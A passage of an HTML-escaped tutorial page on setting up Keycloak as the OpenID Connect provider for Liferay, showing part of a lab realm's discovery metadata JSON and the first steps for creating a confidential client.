class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;request_object_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;response_modes_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;query&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;fragment&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;form_post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;registration_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/clients-registrations/openid-connect&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;token_endpoint_auth_methods_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;private_key_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_basic&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;tls_client_auth&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;token_endpoint_auth_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;introspection_endpoint_auth_methods_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;private_key_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_basic&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;tls_client_auth&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;introspection_endpoint_auth_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;claims_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;aud&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;sub&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;iss&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;auth_time&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;given_name&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;family_name&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;preferred_username&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;email&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;acr&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;claim_types_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;normal&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;claims_parameter_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;scopes_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;openid&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;offline_access&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;web-origins&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;phone&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;roles&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;email&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;address&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;profile&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;microprofile-jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;request_parameter_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;request_uri_parameter_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;require_request_uri_registration&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;code_challenge_methods_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;plain&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;S256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;tls_client_certificate_bound_access_tokens&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;revocation_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/revoke&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;revocation_endpoint_auth_methods_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;private_key_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_basic&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;tls_client_auth&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;revocation_endpoint_auth_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;backchannel_logout_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;backchannel_logout_session_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;device_authorization_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth/device&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;backchannel_token_delivery_modes_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;poll&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;backchannel_authentication_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/ext/ciba/auth&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - OpenID Endpoint Configuration JSON Document&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Remember that&lt;/strong&gt;: Configuration metadata is important for later
configuring the Liferay OpenID Connect component. So keep aside
these data.&lt;/p&gt;&lt;h3 id=&quot;22---creating-the-openid-connect-client&quot;&gt;2.2 - Creating the OpenID Connect client&lt;/h3&gt;&lt;p&gt;The second step requires the creation of a new OpenID Connect client. The data
essential to be able to create the client are indicated below.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Client ID&lt;/strong&gt;: unique identifier of the client.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;: description of the client.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Access Type&lt;/strong&gt;: type of access that in this case must be set to confidentials.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Valid Redirect URIs&lt;/strong&gt;: list of redirect URIs that must be considered valid by Keycloak.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;To start the creation of the new client, from the &lt;em&gt;Configure&lt;/em&gt; section of the Realm,
select the &lt;em&gt;Clients&lt;/em&gt; item and then click on the &lt;em&gt;Create&lt;/em&gt; button.
The figures below show the new client creation masks.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/aea69bccb3aa7e5de102ff27a35dfdb3/6fcb6/creazione-client.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:34.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;138\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20138\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2069v69h67V43h332v48a934%20934%200%20002-22V-1H0v69m0%2014l1%2036c0-12%200-19%201-18l1-5-1-5a217%20217%200%2001-2-8\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/aea69bccb3aa7e5de102ff27a35dfdb3/c85cb/creazione-client.webp 300w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/e88ff/creazione-client.webp 600w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/92f8c/creazione-client.webp 1200w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/dff8d/creazione-client.webp 1523w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/aea69bccb3aa7e5de102ff27a35dfdb3/5a46d/creazione-client.png 300w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/0a47e/creazione-client.png 600w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/c1b63/creazione-client.png 1200w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/6fcb6/creazione-client.png 1523w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
